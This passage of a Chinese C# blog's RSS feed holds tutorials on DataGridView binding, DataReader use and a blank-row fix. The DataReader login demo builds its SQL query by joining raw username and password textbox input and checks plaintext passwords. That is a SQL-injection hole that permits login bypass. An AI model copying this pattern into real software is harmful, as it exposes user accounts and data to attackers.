fromchangjob",conn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myadapter.Fill(mydataset, "工作调动");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//下面读取考核表存入数据集<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myadapter = new OleDbDataAdapter("select * fromcheckinf",conn);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myadapter.Fill(mydataset, "考核表\");<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//设定datagridview的数据源为\"用户表\"<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dataGridView1.DataSource = mydataset.Tables["用户表\"];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//遍历数据集中的表名并存入下拉列表的菜单中<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(int i=0;i&lt;mydataset.Tables.Count;i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;comboBox1.Items.Add(mydataset.Tables[i].TableName);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//设定下拉列表的初始值<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;comboBox1.Text = "用户表\";</FONT></P><P><FONT FACE="宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//combobox的选项改变事件<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private void comboBox1_SelectedIndexChanged(object sender,EventArgs e)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//更改datagridview的数据源<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dataGridView1.DataSource = mydataset.Tables[comboBox1.Text];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//调用filldata函数<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;filldata(comboBox1.Text);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp; }<br/>}</FONT></P></DIV>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/25.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=25</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=25&amp;key=c554a7e6</trackback:ping></item><item><title>C#中datareader的用法</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/23.htm</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0800</pubDate><guid>http://www.myjsy.com/Article/23.htm</guid><description><![CDATA[<div align="left"><a href="http://blog.sina.com.cn/main/html/showpic.html#url=http://s6.album.sina.com.cn/pic/43fd5f8702000wth" target="_blank"></a>&nbsp;C#中提供的DataReader可以从数据库中每次提取一条数据。这里我做了一个登录验证的演示，演示从数据库中读取符合条件的记录：</div><div>程序的界面设计如下：</div><div align="center"><a href="http://blog.sina.com.cn/main/html/showpic.html#url=http://s6.album.sina.com.cn/pic/43fd5f8702000wth" target="_blank"></a></div><div align="center"><img src="../attachments/200708/1536518725.jpg" alt="open_img(&#39;attachments/200708/1536518725.jpg&#39;)" width="301" height="302" align="middle" /><br /> </div><div align="left">程序部分源代码如下： <table border="0" align="center" style="font-size: 12px; width: 80%; border: #999 1px solid"> 	<tr> 		<td> <p><font face="宋体">using System;<br /> using System.Collections.Generic;<br /> using System.ComponentModel;<br /> using System.Data;<br /> using System.Data.OleDb;<br /> using System.Drawing;<br /> using System.Text;<br /> using System.Windows.Forms;</font></p> <p><font face="宋体">namespace WindowsApplication4<br /> {<br /> &nbsp;&nbsp;&nbsp; publicpartial class Form1 : Form<br /> &nbsp;&nbsp;&nbsp; {<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public Form1()<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InitializeComponent();<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义链接<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OleDbConnection conn;<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义命令<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OleDbCommand cmd;<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义datareader<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OleDbDataReader myreader;<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//定义两个变量用来存储数据库链接字符串和命令字符串<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string connstr, selectcmd;<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private void button1_Click(object sender, EventArgs e)<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;connstr = &quot;Provider=Microsoft.Jet.OLEDB.4.0;DataSource=db.mdb&quot;;<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selectcmd = &quot;select * from yonghu where username=&#39;&quot; + textBox1.Text+ &quot;&#39; and password=&#39;&quot; + textBox2.Text + &quot;&#39;&quot;;<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//实例化链接并打开<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn = new OleDbConnection(connstr);<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.Open();<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//实例化cmd并制定执行语句与执行链接<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cmd = new OleDbCommand(selectcmd, conn);<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//执行查询命令并赋给datareader<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myreader = cmd.ExecuteReader();<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*判断myreader中是否真的读取到了数据，也就是说查询命令是否有结果<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;datareader的read方法可以将数据指针移动到下一条记录上，因为datareader的数据指针刚开始位于<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;第一条的上方，因此第一次调用read方法的时候实际上指针指向第一条记录*/<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (myreader.Read())<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//myreader中有数据，表示给出的用户名和密码在数据库中有匹配记录<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(&quot;登录成功&quot;);<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//如果登录成功则取出用户名和等级填入下面的文本框中<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;textBox3.Text = myreader[&quot;username&quot;].ToString();<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;textBox4.Text = myreader[&quot;level&quot;].ToString();<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//myreader中没有数据，表示给出的用户名和密码至少有一个是错的<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(&quot;登录失败！！&quot;);<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;myreader.Close();<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;conn.Close();<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</font></p> <p><font face="宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private void button2_Click(object sender, EventArgs e)<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Application.Exit();<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /> &nbsp;&nbsp;&nbsp; }<br /> }</font></p> </td> 	</tr> </table> </div>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/23.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=23</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=23&amp;key=416bd263</trackback:ping></item><item><title>解决dataGridView查询后出现空行的问题</title><author>jsy1988@163.com (PisChiao)</author><link>http://www.myjsy.com/Article/15.htm</link><pubDate>Thu, 01 Jan 2004 00:00:00 +0800</pubDate><guid>http://www.myjsy.com/Article/15.htm</guid><description><![CDATA[<div><a href="http://blog.sina.com.cn/main/html/showpic.html#url=http://s2.album.sina.com.cn/pic/43fd5f87020011ip" target="_blank"></a>&nbsp;在将<font face="宋体">dataGridView与查询的数据集进行绑定的以后，可能会出现一个空行</font></div><div><a href="http://blog.sina.com.cn/main/html/showpic.html#url=http://s2.album.sina.com.cn/pic/43fd5f87020011ip" target="_blank"></a></div><div><img src="../attachments/200708/5962190755.jpg" alt="open_img(&#39;attachments/200708/5962190755.jpg&#39;)" width="400" height="108" /><br /> 如上图，如果同时文本框也与记录集绑定了，当选择这条空记录的时候就会出现错误：<font face="宋体">&ldquo;DataBinding无法在列表中找到适合所有绑定的行。&rdquo;</font></div><div>经过一个上午的检查，终于发现这个原来是用来添加新数据的，通过修改属性：AllowUserToAddRows为FALSE，就可以取消这一行，防止误点造成程序错误。</div><div>该后的效果如下：</div><div><img src="../attachments/200708/5807345380.jpg" alt="open_img(&#39;attachments/200708/5807345380.jpg&#39;)" width="400" height="81" /><a href="http://blog.sina.com.cn/main/html/showpic.html#url=http://s3.album.sina.com.cn/pic/43fd5f87020011iq" target="_blank"></a></div>]]></description><category>C#.NET</category><comments>http://www.myjsy.com/Article/15.htm#comment</comments><wfw:comment>http://www.myjsy.com/</wfw:comment><wfw:commentRss>http://www.myjsy.com/feed.asp?cmt=15</wfw:commentRss><trackback:ping>http://www.myjsy.com/cmd.asp?act=tb&amp;id=15&amp;key=24b5a6fe</trackback:ping></item></channel></rss>
